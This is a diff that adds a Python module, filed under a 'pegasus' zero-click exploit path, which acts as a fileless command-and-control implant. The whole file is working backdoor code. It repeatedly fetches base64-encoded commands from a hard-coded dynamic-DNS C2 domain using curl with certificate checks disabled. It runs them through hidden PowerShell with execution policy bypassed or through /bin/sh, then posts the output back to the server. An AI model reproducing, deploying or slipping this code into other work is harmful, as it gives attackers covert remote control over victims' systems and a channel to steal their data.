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| 1 | +# /src/exploits/zero-click_exploits/pegasus/fileless_execution/fileless_execution.py |
| 2 | + |
| 3 | +import os |
| 4 | +import sys |
| 5 | +import subprocess |
| 6 | +import base64 |
| 7 | +import json |
| 8 | +import time |
| 9 | +from datetime import datetime |
| 10 | + |
| 11 | +# --- Configuration --- |
| 12 | +# C2 Configuration to fetch the next command or payload |
| 13 | +C2_DOMAIN = "zeroclickexploits.ddns.net" |
| 14 | +C2_PORT = 443 |
| 15 | +C2_GET_COMMAND_ENDPOINT = f"https://{C2_DOMAIN}:{C2_PORT}/api/v1/get_command" |
| 16 | +C2_POST_RESULT_ENDPOINT = f"https://{C2_DOMAIN}:{C2_PORT}/api/v1/post_result" |
| 17 | +TARGET_ID = os.environ.get("TARGET_ID", "unknown") |
| 18 | +USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" |
| 19 | + |
| 20 | +# --- Logging --- |
| 21 | +def _log_event(message, level='info'): |
| 22 | + """Internal logger to prevent writing to disk.""" |
| 23 | + timestamp = datetime.now().isoformat() |
| 24 | + print(f"[{timestamp}] [{level.upper()}] {message}") |
| 25 | + |
| 26 | +# --- C2 Communication --- |
| 27 | +def fetch_command_from_c2(): |
| 28 | + """Fetches a base64-encoded command from the C2 server.""" |
| 29 | + try: |
| 30 | + payload = {"target_id": TARGET_ID} |
| 31 | + json_payload = json.dumps(payload) |
| 32 | + cmd = [ |
| 33 | + "curl", "-k", "-s", "-X", "POST", |
| 34 | + "-H", "Content-Type: application/json", |
| 35 | + "-H", f"User-Agent: {USER_AGENT}", |
| 36 | + "-d", json_payload, |
| 37 | + C2_GET_COMMAND_ENDPOINT |
| 38 | + ] |
| 39 | + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) |
| 40 | + if result.returncode == 0: |
| 41 | + response = json.loads(result.stdout) |
| 42 | + if response.get("command"): |
| 43 | + _log_event("Fetched new command from C2.") |
| 44 | + return base64.b64decode(response["command"]).decode('utf-8') |
| 45 | + return None |
| 46 | + except Exception as e: |
| 47 | + _log_event(f"Failed to fetch command from C2: {e}", 'error') |
| 48 | + return None |
| 49 | + |
| 50 | +def post_result_to_c2(result, success=True): |
| 51 | + """Posts the execution result back to the C2 server.""" |
| 52 | + try: |
| 53 | + payload = { |
| 54 | + "target_id": TARGET_ID, |
| 55 | + "success": success, |
| 56 | + "result": base64.b64encode(result.encode('utf-8')).decode('utf-8'), |
| 57 | + "timestamp": datetime.utcnow().isoformat() + "Z" |
| 58 | + } |
| 59 | + json_payload = json.dumps(payload) |
| 60 | + cmd = [ |
| 61 | + "curl", "-k", "-s", "-X", "POST", |
| 62 | + "-H", "Content-Type: application/json", |
| 63 | + "-H", f"User-Agent: {USER_AGENT}", |
| 64 | + "-d", json_payload, |
| 65 | + C2_POST_RESULT_ENDPOINT |
| 66 | + ] |
| 67 | + subprocess.run(cmd, capture_output=True, text=True, timeout=30) |
| 68 | + _log_event("Result posted to C2.") |
| 69 | + except Exception as e: |
| 70 | + _log_event(f"Failed to post result to C2: {e}", 'error') |
| 71 | + |
| 72 | +# --- Core Execution Logic --- |
| 73 | +def execute_fileless_command(command): |
| 74 | + """Executes a command in memory without touching the disk.""" |
| 75 | + try: |
| 76 | + if sys.platform == 'win32': |
| 77 | + # Use PowerShell for file-less execution on Windows |
| 78 | + # -EncodedCommand expects a base64 encoded UTF-16LE string |
| 79 | + encoded_command = base64.b64encode(command.encode('utf-16le')).decode('utf-8') |
| 80 | + ps_cmd = ["powershell.exe", "-WindowStyle", "Hidden", "-NoProfile", "-ExecutionPolicy", "Bypass", "-EncodedCommand", encoded_command] |
| 81 | + result = subprocess.run(ps_cmd, capture_output=True, text=True, timeout=120) |
| 82 | + output = result.stdout + result.stderr |
| 83 | + _log_event("PowerShell command executed.") |
| 84 | + return output, result.returncode == 0 |
| 85 | + else: |
| 86 | + # On Linux/macOS, we can execute shell commands directly |
| 87 | + sh_cmd = ["/bin/sh", "-c", command] |
| 88 | + result = subprocess.run(sh_cmd, capture_output=True, text=True, timeout=120) |
| 89 | + output = result.stdout + result.stderr |
| 90 | + _log_event("Shell command executed.") |
| 91 | + return output, result.returncode == 0 |
| 92 | + except subprocess.TimeoutExpired: |
| 93 | + error_msg = "Command execution timed out." |
| 94 | + _log_event(error_msg, 'error') |
| 95 | + return error_msg, False |
| 96 | + except Exception as e: |
| 97 | + error_msg = f"An unexpected error occurred during execution: {e}" |
| 98 | + _log_event(error_msg, 'error') |
| 99 | + return error_msg, False |
| 100 | + |
| 101 | +def main(): |
| 102 | + """Main loop to continuously check for and execute commands from C2.""" |
| 103 | + _log_event("File-less Execution Module Activated.") |
| 104 | + while True: |
| 105 | + command = fetch_command_from_c2() |
| 106 | + if command: |
| 107 | + output, success = execute_fileless_command(command) |
| 108 | + post_result_to_c2(output, success) |
| 109 | + else: |
| 110 | + _log_event("No new commands. Sleeping for 60 seconds.") |
| 111 | + time.sleep(60) |
| 112 | + |
| 113 | +if __name__ == "__main__": |
| 114 | + main() |
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